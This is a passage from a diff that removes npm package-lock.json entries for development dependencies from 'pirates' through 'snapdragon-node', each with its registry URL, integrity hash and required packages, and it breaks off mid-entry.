- "dev": true - }, - "pirates": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.1.tgz", - "integrity": "sha512-WuNqLTbMI3tmfef2TKxlQmAiLHKtFhlsCZnPIpuv2Ow0RDVO8lfy1Opf4NUzlMXLjPl+Men7AuVdX6TA+s+uGA==", - "dev": true, - "requires": { - "node-modules-regexp": "^1.0.0" - } - }, - "pkg-dir": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", - "dev": true, - "requires": { - "find-up": "^4.0.0" - } - }, - "posix-character-classes": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", - "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", - "dev": true - }, - "prelude-ls": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", - "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", - "dev": true - }, - "prettier": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.0.5.tgz", - "integrity": "sha512-7PtVymN48hGcO4fGjybyBSIWDsLU4H4XlvOHfq91pz9kkGlonzwTfYkaIEwiRg/dAJF9YlbsduBAgtYLi+8cFg==", - "dev": true - }, - "prettier-linter-helpers": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/prettier-linter-helpers/-/prettier-linter-helpers-1.0.0.tgz", - "integrity": "sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==", - "dev": true, - "requires": { - "fast-diff": "^1.1.2" - } - }, - "pretty-format": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.0.1.tgz", - "integrity": "sha512-SWxz6MbupT3ZSlL0Po4WF/KujhQaVehijR2blyRDCzk9e45EaYMVhMBn49fnRuHxtkSpXTes1GxNpVmH86Bxfw==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "ansi-regex": "^5.0.0", - "ansi-styles": "^4.0.0", - "react-is": "^16.12.0" - } - }, - "progress": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", - "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", - "dev": true - }, - "prompts": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.3.2.tgz", - "integrity": "sha512-Q06uKs2CkNYVID0VqwfAl9mipo99zkBv/n2JtWY89Yxa3ZabWSrs0e2KTudKVa3peLUvYXMefDqIleLPVUBZMA==", - "dev": true, - "requires": { - "kleur": "^3.0.3", - "sisteransi": "^1.0.4" - } - }, - "psl": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", - "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==", - "dev": true - }, - "pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "punycode": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", - "dev": true - }, - "qs": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", - "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", - "dev": true - }, - "react-is": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", - "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", - "dev": true - }, - "read-pkg": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", - "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", - "dev": true, - "requires": { - "@types/normalize-package-data": "^2.4.0", - "normalize-package-data": "^2.5.0", - "parse-json": "^5.0.0", - "type-fest": "^0.6.0" - }, - "dependencies": { - "type-fest": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", - "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", - "dev": true - } - } - }, - "read-pkg-up": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", - "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", - "dev": true, - "requires": { - "find-up": "^4.1.0", - "read-pkg": "^5.2.0", - "type-fest": "^0.8.1" - } - }, - "regex-not": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", - "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", - "dev": true, - "requires": { - "extend-shallow": "^3.0.2", - "safe-regex": "^1.1.0" - } - }, - "regexpp": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.1.0.tgz", - "integrity": "sha512-ZOIzd8yVsQQA7j8GCSlPGXwg5PfmA1mrq0JP4nGhh54LaKN3xdai/vHUDu74pKwV8OxseMS65u2NImosQcSD0Q==", - "dev": true - }, - "remove-trailing-separator": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz", - "integrity": "sha1-wkvOKig62tW8P1jg1IJJuSN52O8=", - "dev": true - }, - "repeat-element": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.3.tgz", - "integrity": "sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==", - "dev": true - }, - "repeat-string": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", - "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", - "dev": true - }, - "request": { - "version": "2.88.2", - "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", - "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", - "dev": true, - "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.8.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.6", - "extend": "~3.0.2", - "forever-agent": "~0.6.1", - "form-data": "~2.3.2", - "har-validator": "~5.1.3", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.19", - "oauth-sign": "~0.9.0", - "performance-now": "^2.1.0", - "qs": "~6.5.2", - "safe-buffer": "^5.1.2", - "tough-cookie": "~2.5.0", - "tunnel-agent": "^0.6.0", - "uuid": "^3.3.2" - }, - "dependencies": { - "tough-cookie": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", - "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", - "dev": true, - "requires": { - "psl": "^1.1.28", - "punycode": "^2.1.1" - } - }, - "uuid": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", - "dev": true - } - } - }, - "request-promise-core": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/request-promise-core/-/request-promise-core-1.1.3.tgz", - "integrity": "sha512-QIs2+ArIGQVp5ZYbWD5ZLCY29D5CfWizP8eWnm8FoGD1TX61veauETVQbrV60662V0oFBkrDOuaBI8XgtuyYAQ==", - "dev": true, - "requires": { - "lodash": "^4.17.15" - } - }, - "request-promise-native": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/request-promise-native/-/request-promise-native-1.0.8.tgz", - "integrity": "sha512-dapwLGqkHtwL5AEbfenuzjTYg35Jd6KPytsC2/TLkVMz8rm+tNt72MGUWT1RP/aYawMpN6HqbNGBQaRcBtjQMQ==", - "dev": true, - "requires": { - "request-promise-core": "1.1.3", - "stealthy-require": "^1.1.1", - "tough-cookie": "^2.3.3" - }, - "dependencies": { - "tough-cookie": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", - "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", - "dev": true, - "requires": { - "psl": "^1.1.28", - "punycode": "^2.1.1" - } - } - } - }, - "require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "dev": true - }, - "require-main-filename": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", - "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", - "dev": true - }, - "resolve": { - "version": "1.17.0", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.17.0.tgz", - "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==", - "dev": true, - "requires": { - "path-parse": "^1.0.6" - } - }, - "resolve-cwd": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", - "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", - "dev": true, - "requires": { - "resolve-from": "^5.0.0" - } - }, - "resolve-from": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", - "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", - "dev": true - }, - "resolve-url": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", - "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", - "dev": true - }, - "restore-cursor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", - "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", - "dev": true, - "requires": { - "onetime": "^5.1.0", - "signal-exit": "^3.0.2" - } - }, - "ret": { - "version": "0.1.15", - "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", - "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", - "dev": true - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - }, - "rsvp": { - "version": "4.8.5", - "resolved": "https://registry.npmjs.org/rsvp/-/rsvp-4.8.5.tgz", - "integrity": "sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA==", - "dev": true - }, - "run-async": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", - "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==", - "dev": true - }, - "rxjs": { - "version": "6.5.5", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.5.tgz", - "integrity": "sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==", - "dev": true, - "requires": { - "tslib": "^1.9.0" - } - }, - "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", - "dev": true - }, - "safe-regex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", - "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", - "dev": true, - "requires": { - "ret": "~0.1.10" - } - }, - "safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "dev": true - }, - "sane": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/sane/-/sane-4.1.0.tgz", - "integrity": "sha512-hhbzAgTIX8O7SHfp2c8/kREfEn4qO/9q8C9beyY6+tvZ87EpoZ3i1RIEvp27YBswnNbY9mWd6paKVmKbAgLfZA==", - "dev": true, - "requires": { - "@cnakazawa/watch": "^1.0.3", - "anymatch": "^2.0.0", - "capture-exit": "^2.0.0", - "exec-sh": "^0.3.2", - "execa": "^1.0.0", - "fb-watchman": "^2.0.0", - "micromatch": "^3.1.4", - "minimist": "^1.1.1", - "walker": "~1.0.5" - }, - "dependencies": { - "anymatch": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", - "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", - "dev": true, - "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" - } - }, - "braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - "dev": true, - "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - }, - "micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - } - }, - "normalize-path": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", - "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", - "dev": true, - "requires": { - "remove-trailing-separator": "^1.0.1" - } - }, - "to-regex-range": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", - "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", - "dev": true, - "requires": { - "is-number": "^3.0.0", - "repeat-string": "^1.6.1" - } - } - } - }, - "saxes": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", - "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", - "dev": true, - "requires": { - "xmlchars": "^2.2.0" - } - }, - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true - }, - "set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true - }, - "set-value": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", - "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", - "dev": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.3", - "split-string": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "is-plain-object": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", - "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", - "dev": true, - "requires": { - "isobject": "^3.0.1" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "shebang-command": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", - "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", - "dev": true, - "requires": { - "shebang-regex": "^1.0.0" - } - }, - "shebang-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", - "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", - "dev": true - }, - "shellwords": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/shellwords/-/shellwords-0.1.1.tgz", - "integrity": "sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww==", - "dev": true, - "optional": true - }, - "signal-exit": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz", - "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==", - "dev": true - }, - "sisteransi": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", - "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", - "dev": true - }, - "slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", - "dev": true - }, - "slice-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz", - "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.0", - "astral-regex": "^1.0.0", - "is-fullwidth-code-point": "^2.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "requires": { - "color-name": "1.1.3" - } - }, - "color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - } - } - }, - "snapdragon": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", - "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", - "dev": true, - "requires": { - "base": "^0.11.1", - "debug": "^2.2.0", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "map-cache": "^0.2.2", - "source-map": "^0.5.6", - "source-map-resolve": "^0.5.0", - "use": "^3.1.0" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - }, - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", - "dev": true - }, - "source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true - } - } - }, - "snapdragon-node": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", - "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", - "dev": true, - "requires": { - "define-property": "^1.0.0", - "isobject": "^3.0.0", - "snapdragon-util": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - 